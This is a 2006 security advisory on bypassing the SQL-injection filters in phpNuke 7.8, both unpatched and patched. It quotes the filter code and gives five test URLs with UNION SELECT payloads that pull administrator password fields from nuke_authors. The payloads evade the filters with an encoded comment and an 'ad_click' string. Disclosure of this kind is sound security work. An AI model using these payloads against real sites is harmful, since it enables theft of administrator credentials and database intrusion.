{======================================================================= =========} { [waraxe-2006-SA#047] } {======================================================================= =========} { } { [ Evading sql-injection filters in phpNuke 7.8 ] } { } {======================================================================= =========} Author: Janek Vind "waraxe" Date: 25. February 2006 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-47.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ phpNuke 7.8 Homepage: http://phpnuke.org/ What is phpNuke ? PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases. Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ phpNuke is known to be exploitable by many sql injection variations. This is due to very poor coding quality and no-security-in-mind-at-all programming style. And instead of rewriting phpNuke from scratch, there are many filters, patches, code improvements and so on, directed to "curing" specific security holes. This particular advisory will address weaknesses in anti-sql-injection filters, used in phpNuke 7.8 version. Details ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ So, what can we see in "mainfile.php", line ~20: ----------------[ from source code ]------------------ //Union Tap //Copyright Zhen-Xjell 2004 http://nukecops.com //Beta 3 Code to prevent UNION SQL Injections unset($matches); unset($loc); if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /", rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) { die(); } $queryString = strtolower($_SERVER['QUERY_STRING']); if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0')) { header("Location: index.php"); die(); } ----------------[ /from source code ]----------------- Two different filters can be spotted, one of them will stop script execution, second one redirects to index page. So let's start with experimenting part. Test #1: http://localhost/nuke78/?kala=p0hh%20UNION%20ALL%20SELECT%201,2,3,4,5%20 FROM%20nuke_authors/* ... and we get caught by first filter (because we get only blank page). Ok, let' modify our attack string. Test #2: http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuk e_authors/* ... And second filter is about kicking our a$$ (we got redirected to index). Hmmm, how about this one ... Test #3": http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuk e_authors/%2a Yeah - we got through :) And now let's be honest against nuke patches releasers and let's try this working string against PATCHED phpNuke 7.8. Details: patch file - "78patched3dot2.zip" version 3.2 Download URL - http://www.nukeresources.com/downloadview-details-1037-Nuke_7.8_Patched. html Test#4: http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nu ke_authors/%2a and WE GET CAUGHT with message "Illegal Operation" ... Oh my ... What we can see in patched "mainfile.php": ----------------[ from source code ]------------------ // Additional security (Union, CLike, XSS) if(!file_exists('includes/nukesentinel.php')) { //Union Tap //Copyright Zhen-Xjell 2004 http://nukecops.com //Beta 3 Code to prevent UNION SQL Injections unset($matches); unset($loc); if(isset($_SERVER['QUERY_STRING'])) { if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /", rawurldecode($loc=$_SERVER['QUERY_STRING']), $matches)) { die('Illegal Operation'); } } if((!is_admin($admin)) AND (isset($_SERVER['QUERY_STRING'])) AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) { $queryString = $_SERVER['QUERY_STRING']; if ((stristr($queryString,'%20union%20')) OR (stristr($queryString,'/*')) OR (stristr($queryString,'*/union/*')) OR (stristr($queryString,'c2nyaxb0')) OR (stristr($queryString,'+union+')) OR (stristr($queryString,'http://')) OR ((stristr($queryString,'cmd=')) AND (!stristr($queryString,'&cmd'))) OR ((stristr($queryString,'exec')) AND (!stristr($queryString,'execu'))) OR (stristr($queryString,'concat'))) { die('Illegal Operation'); } } }----------------[ /from source code ]----------------- This code seems very restrictive, but ... wait a minute ... "AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {" - what is this ?????? This is code snippet for DEACTIVATING anti-sql-injection filter in case of specific events. Yeah, this little code fragment renders all the filter absolutely useless: Test #5: http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/ %2aad_click .. and patched phpNuke 7.8 will let through our testing sql injection string!! Greets to all who know me and have a nice day ;) How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Be creative and try to improve that filter by yourself :) Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and all other active members from waraxe forum ! Raido Kerna - tervitused! Additional resources: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ DX expeditions database - http://www.dxdb.com/ HDD data recovery - http://www.hdd911.com/ Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe (at) yahoo (dot) com [email concealed] Janek Vind "waraxe" Homepage: http://www.waraxe.us/ ---------------------------------- [ EOF ] ------------------------------------